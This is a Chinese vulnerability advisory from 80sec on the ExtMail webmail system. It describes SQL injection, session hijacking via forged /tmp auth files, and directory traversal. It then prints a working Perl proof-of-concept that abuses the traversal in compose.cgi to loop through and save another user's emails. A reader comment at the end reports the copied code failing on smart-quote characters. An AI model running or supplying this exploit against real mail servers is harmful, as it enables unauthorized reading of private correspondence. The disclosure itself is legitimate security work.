Extmail安全漏洞
来源:80sec
漏洞说明:ExtMail Project 是一个活跃的开源邮件系统项目,目前由ExtMail 团队维护。该项于2005年9月18日正式启动,最初以WebMail软件为主,至今已逐步形成了ExtMail软件系列。整个项目的目标是开发出高效、 易用、富有生命力的邮件系统(方案),经过粗略的统计,截止2007年6月份,已有超过3000个服务器在运行ExtMail软件,其中有超过1000个 运行在互联网上。Webmail采取perl语言CGI方式编写,国内众多知名站点均使用extmail,譬如 http://mail.csdn.net。80sec在其产品中发现安全漏洞,包括SQL注射,任意用户身份劫持,以及任意信件读取的几个重大安全漏 洞。
漏洞厂商:http://www.extmail.org/
漏洞解析:
1 SQL注射漏洞
程序在处理用户登陆参数的地方没有对SQL注射进行防护,导致可能产生SQL注射漏洞,该处没有回显,但是利用延迟技术,一样可以进行敏感信息获取
2 任意用户身份获取漏洞
程序在处理全局用户参数提交时产生错误,导致匿名用户可以在该会话期间内上传文件到/tmp/目录,而程序的所有认证机制都是依靠/tmp/下的文件来处理的,所以匿名用户可以伪造认证文件来窃取其他的用户身份
3 任意信件读取漏洞
程序依靠文件处理系统来区分各个用户和信件,但是程序在处理个别参数的时候存在安全漏洞,导致用户可以跳出目录进入其他人的目录读取敏感信息如信件。
漏洞状态:80sec已经通知官方,但是到目前没有获得任何回复
漏洞证明:80sec发放任意信件读取漏洞的POC
#!/usr/bin/perl
#Exp for Ext-mail
#Codz By 80sec http://www.80sec.com
use LWP;
my $browser = LWP::UserAgent->new;
$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';
$ARGV[0]&&($user=$ARGV[0]);
open(RESULT,”>>$user.txt”);
for($i=0;;$i++) {
my @headers=(’Cookie’=>”sid=$mysid”,’User-Agent’=>’Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"Sent/../../../${user}/Maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;
$_=$myecho;
if(m/Some errors occured/i) {
print “Error!”;
print $_;
unlink “$user.txt”;
exit;
}
$bak=$_;
s/(.*?)value=\”Fwd:(.+?)\” onKeyDown=(.*?)$/$2/sg;
$subject=$_;
$_=$bak;
s/(.*?)<textarea name=”message”(.+?)>(.+?)<\/textarea>(.*)/$3/sg;
s/<br>/\n/sg;
s/"/\”/sg;
s/</</g;
s/>/>/sg;
s/ / /sg;
s/\r/\n/sg;
s/\n+/\n/sg;
s/<.*?>//sg;
s/——– Forwarded Messages ——–//sg;
$last=$_;
s/\s//sg;
s/From://sg;
s/To://sg;
$msg=$_;
# $subject=chomp($subject);
# $msg=chomp($msg);
if(!$subject&&!$msg) {
print “Done!估计没了!\r\n”;
print $last;
exit;
}
print “$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标 题:”.$subject.”\r\n内 容:”.$msg.”++++++++++++++++++++++++++++++++++++++++++++\r\n”;
print RESULT “$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标 题:”.$subject.”\r\n内 容:”.$msg.”++++++++++++++++++++++++++++++++++++++++++++\r\n”;
}
本站内容均为原创,转载请务必保留署名与链接!
Extmail安全漏洞:http://www.80sec.com/extmail-security-hole.html
鬼仔老大,请问我运行了这段代码之后出现这个错误是什么意思?
C:\Perl\bin\email.pl
nrecognized character \xA1 at C:\Perl\bin\email.pl line 10.